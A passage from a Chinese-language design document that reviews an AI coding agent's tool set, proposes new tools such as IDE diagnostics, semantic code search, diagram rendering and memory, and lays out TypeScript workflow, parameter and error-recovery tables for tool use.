"文件编辑流程": [ 155 | "1. read-file - 查看当前内容", 156 | "2. str-replace-editor - 精确修改", 157 | "3. diagnostics - 验证修改结果" 158 | ], 159 | 160 | "进程调试流程": [ 161 | "1. launch-process - 启动程序", 162 | "2. read-process - 监控输出", 163 | "3. write-process - 发送命令", 164 | "4. kill-process - 清理进程" 165 | ] 166 | }; 167 | ``` 168 | 169 | ### 4. 上下文感知提示 170 | 171 | #### 智能工具推荐系统 172 | ```typescript 173 | class ToolRecommendationEngine { 174 | static recommendNext(currentTool: string, context: any): string[] { 175 | const recommendations = { 176 | "read-file": { 177 | "if_error": ["diagnostics", "codebase-retrieval"], 178 | "if_large_file": ["search-keywords", "code-search-regex"], 179 | "if_config": ["str-replace-editor", "web-search"] 180 | }, 181 | 182 | "str-replace-editor": { 183 | "after_edit": ["diagnostics", "run-terminal-command"], 184 | "if_multiple_files": ["codebase-retrieval", "search-keywords"] 185 | }, 186 | 187 | "launch-process": { 188 | "if_long_running": ["read-process", "list-processes"], 189 | "if_interactive": ["write-process", "read-terminal"], 190 | "if_error": ["kill-process", "diagnostics"] 191 | } 192 | }; 193 | 194 | return recommendations[currentTool] || []; 195 | } 196 | } 197 | ``` 198 | 199 |
200 | 201 | ## 🔧 实施建议 202 | 203 | ### 🚀 立即行动项 204 | 1. **实现 `diagnostics`** - IDE诊断集成(最重要) 205 | 2. **实现 `codebase-retrieval`** - AI语义搜索(最重要) 206 | 3. **优化工具描述** - 添加使用场景和最佳实践 207 | 208 | ### 📈 中期改进 209 | 1. **实现 `render-mermaid`** - 可视化能力 210 | 2. **实现 `remember`** - 长期上下文 211 | 3. **添加批量操作支持** - 如批量文件删除 212 | 213 |
214 | 🔧 详细改进建议和工具规格 215 | 216 | ### 1. 立即需要实现的工具 (优先级高) 217 | 218 | #### `diagnostics` - IDE诊断集成 219 | ```typescript 220 | { 221 | name: "diagnostics", 222 | description: "Get IDE diagnostics (errors, warnings, type issues) for better code analysis", 223 | useCase: "Essential for code quality checking and error detection", 224 | parameters: { 225 | paths: "Array of file paths to check", 226 | severity: "Minimum severity level (error/warning/info)" 227 | }, 228 | aiGuidance: "Use after code changes to verify correctness. Essential for debugging workflows." 229 | } 230 | ``` 231 | 232 | #### `codebase-retrieval` - AI语义搜索 233 | ```typescript 234 | { 235 | name: "codebase-retrieval", 236 | description: "AI-powered semantic code search. Understands intent, not just keywords", 237 | useCase: "Find relevant code when you don't know exact file names or function names", 238 | parameters: { 239 | information_request: "Natural language description of what you're looking for" 240 | }, 241 | aiGuidance: "Use when you need to understand codebase structure or find related functionality" 242 | } 243 | ``` 244 | 245 | ### 2. 可选实现的工具 (优先级中) 246 | 247 | #### `render-mermaid` - 图表可视化 248 | ```typescript 249 | { 250 | name: "render-mermaid", 251 | description: "Create visual diagrams from code or data. Helps explain complex relationships", 252 | useCase: "Documentation, architecture visualization, process flows", 253 | aiGuidance: "Use to create visual explanations of code structure or workflows" 254 | } 255 | ``` 256 | 257 | #### `remember` - 长期记忆 258 | ```typescript 259 | { 260 | name: "remember", 261 | description: "Store important information across conversations for context continuity", 262 | useCase: "Remember user preferences, project patterns, recurring issues", 263 | aiGuidance: "Use to build long-term understanding of user's codebase and preferences" 264 | } 265 | ``` 266 | 267 | ### 3. 可以移除的工具 268 | 269 | #### 重复或低价值工具 270 | - 如果很少使用 `delete-file`,可以考虑移除 271 | - `browser-history` 可能使用频率不高 272 | - 某些GitHub工具如果不常用可以精简 273 | 274 |
275 | 276 | ## 📊 总结 277 | 278 | 你的AutoDev Remote Agent在某些方面已经超越了Augment Agent,特别是: 279 | - ✅ **GitHub集成** - 完整的GitHub工作流 280 | - ✅ **智能终端** - 增强的命令执行 281 | - ✅ **进程管理** - 更完整的生命周期管理 282 | 283 | 但还需要补充这些关键工具: 284 | - ❌ **diagnostics** - IDE诊断集成 (最重要) 285 | - ❌ **codebase-retrieval** - AI语义搜索 (最重要) 286 | - ❌ **render-mermaid** - 可视化能力 287 | - ❌ **remember** - 长期记忆 288 | 289 | 通过实现这些工具并优化AI理解指南,你的Agent将成为一个更强大、更智能的开发助手! 290 | 291 | --- 292 | 293 |
294 | 📋 AI理解工具的详细最佳实践 295 | 296 | ## 📋 AI理解工具的最佳实践 297 | 298 | ### 1. 描述模板 299 | ``` 300 | "[动作] [对象] with [特殊能力]. Use for: [主要场景1], [场景2], [场景3]. Best when: [最佳使用时机]." 301 | ``` 302 | 303 | ### 2. 参数说明模板 304 | ``` 305 | "[参数名]: [类型] - [用途]. Example: [具体例子]. Use when: [使用场景]." 306 | ``` 307 | 308 | ### 3. 工具关系图 309 | ``` 310 | read-file → str-replace-editor → diagnostics 311 | ↓ ↓ ↓ 312 | search-keywords → codebase-retrieval → remember 313 | ``` 314 | 315 | ## 🎓 AI工具理解训练指南 316 | 317 | ### 1. 工具选择决策树 318 | 319 | ``` 320 | 用户请求 → 分析意图 → 选择工具类别 → 确定具体工具 → 设置参数 321 | 322 | 例子: 323 | "帮我修复这个TypeScript错误" 324 | → 代码修复意图 325 | → 诊断+编辑类别 326 | → diagnostics + str-replace-editor 327 | → 设置文件路径和修复内容 328 | ``` 329 | 330 | ### 2. 工具使用频率分析 (基于实际使用场景) 331 | 332 | | 工具 | 使用频率 | 主要场景 | AI应该何时推荐 | 333 | |------|---------|----------|---------------| 334 | | `read-file` | ⭐⭐⭐⭐⭐ | 代码查看、配置检查 | 几乎所有代码相关任务的第一步 | 335 | | `str-replace-editor` | ⭐⭐⭐⭐ | 代码修改、配置更新 | 需要精确修改代码时 | 336 | | `diagnostics` | ⭐⭐⭐⭐ | 错误检查、代码验证 | 代码修改后的验证步骤 | 337 | | `codebase-retrieval` | ⭐⭐⭐⭐ | 代码理解、功能查找 | 用户不确定代码位置时 | 338 | | `launch-process` | ⭐⭐⭐ | 开发服务器、构建任务 | 需要运行长期任务时 | 339 | | `web-search` | ⭐⭐⭐ | 技术查询、文档查找 | 遇到未知技术问题时 | 340 | | `github-*` | ⭐⭐ | GitHub工作流 | 处理GitHub相关任务时 | 341 | | `render-mermaid` | ⭐⭐ | 文档生成、架构图 | 需要可视化解释时 | 342 | | `remember` | ⭐ | 上下文保持 | 长期项目或重复模式时 | 343 | 344 | ### 3. 工具组合模式 (AI应该学会的常见组合) 345 | 346 | #### 模式1: 代码分析流程 347 | ```typescript 348 | const CODE_ANALYSIS_FLOW = { 349 | trigger: "用户询问代码相关问题", 350 | steps: [ 351 | { 352 | tool: "codebase-retrieval", 353 | purpose: "找到相关代码位置", 354 | when: "用户描述功能但不知道具体文件" 355 | }, 356 | { 357 | tool: "read-file", 358 | purpose: "查看具体代码内容", 359 | when: "需要了解代码细节" 360 | }, 361 | { 362 | tool: "diagnostics", 363 | purpose: "检查代码问题", 364 | when: "怀疑有错误或警告" 365 | } 366 | ] 367 | }; 368 | ``` 369 | 370 | #### 模式2: 代码修改流程 371 | ```typescript 372 | const CODE_MODIFICATION_FLOW = { 373 | trigger: "用户要求修改代码", 374 | steps: [ 375 | { 376 | tool: "read-file", 377 | purpose: "了解当前代码状态", 378 | required: true 379 | }, 380 | { 381 | tool: "str-replace-editor", 382 | purpose: "执行精确修改", 383 | parameters: { 384 | dry_run: true, // 先预览 385 | create_backup: true // 创建备份 386 | } 387 | }, 388 | { 389 | tool: "diagnostics", 390 | purpose: "验证修改结果", 391 | when: "修改完成后" 392 | } 393 | ] 394 | }; 395 | ``` 396 | 397 | #### 模式3: 问题调试流程 398 | ```typescript 399 | const DEBUGGING_FLOW = { 400 | trigger: "用户报告错误或问题", 401 | steps: [ 402 | { 403 | tool: "diagnostics", 404 | purpose: "获取错误详情", 405 | priority: "high" 406 | }, 407 | { 408 | tool: "codebase-retrieval", 409 | purpose: "找到相关代码", 410 | when: "错误信息不够明确" 411 | }, 412 | { 413 | tool: "web-search", 414 | purpose: "查找解决方案", 415 | when: "遇到未知错误" 416 | }, 417 | { 418 | tool: "str-replace-editor", 419 | purpose: "应用修复", 420 | when: "找到解决方案" 421 | } 422 | ] 423 | }; 424 | ``` 425 | 426 | ### 4. 工具参数智能推荐 427 | 428 | #### 基于上下文的参数建议 429 | ```typescript 430 | const PARAMETER_RECOMMENDATIONS = { 431 | "read-file": { 432 | "when_large_file": { 433 | line_range: "建议使用,避免内存问题", 434 | max_size: "设置合理限制" 435 | }, 436 | "when_binary": { 437 | encoding: "使用 base64 或 binary" 438 | }, 439 | "when_config": { 440 | encoding: "通常使用 utf8" 441 | } 442 | }, 443 | 444 | "str-replace-editor": { 445 | "when_first_time": { 446 | dry_run: true, 447 | create_backup: true 448 | }, 449 | "when_multiple_changes": { 450 | "建议": "分步执行,每次验证" 451 | } 452 | }, 453 | 454 | "launch-process": { 455 | "when_dev_server": { 456 | wait: false, 457 | background: true 458 | }, 459 | "when_build_task": { 460 | wait: true, 461 | timeout: "根据任务复杂度调整" 462 | } 463 | } 464 | }; 465 | ``` 466 | 467 | ### 5. 错误处理和恢复策略 468 | 469 | #### AI应该学会的错误恢复模式 470 | ```typescript 471 | const ERROR_RECOVERY_PATTERNS = { 472 | "file_not_found": { 473 | next_actions: ["codebase-retrieval", "list-directory"], 474 | explanation: "文件可能移动或重命名,尝试搜索" 475 | }, 476 | 477 | "permission_denied": { 478 | next_actions: ["diagnostics", "web-search"], 479 | explanation: "权限问题,检查文件权限或查找解决方案" 480 | }, 481 | 482 | "syntax_error": { 483 | next_actions: ["read-file", "web-search", "str-replace-editor"], 484 | explanation: "语法错误,查看代码并查找修复方法" 485 | }, 486 | 487 | "process_timeout": { 488 | next_actions: ["kill-process", "list-processes"], 489 | explanation: "进程超时,可能需要终止并重新启动" 490 | } 491 | }; 492 | ``` 493 | 494 | ### 6. 工具效果评估 495 | 496 | #### AI应该如何判断工具使用是否成功 497 | ```typescript 498 | const SUCCESS_INDICATORS = { 499 | "read-file": { 500 | success: "返回文件内容,无错误", 501 | partial: "文件过大被截断,但获得了需要的信息", 502 | failure: "文件不存在或权限错误" 503 | }, 504 | 505 | "str-replace-editor": { 506 | success: "修改成功,backup创建,无语法错误", 507 | partial: "修改成功但有警告", 508 | failure: "字符串不匹配或语法错误" 509 | }, 510 | 511 | "diagnostics": { 512 | success: "获得诊断信息,错误数量减少", 513 | partial: "获得部分诊断信息", 514 | failure: "无法获得诊断或错误增加" 515 | } 516 | }; 517 | ``` 518 | 519 |
520 | --------------------------------------------------------------------------------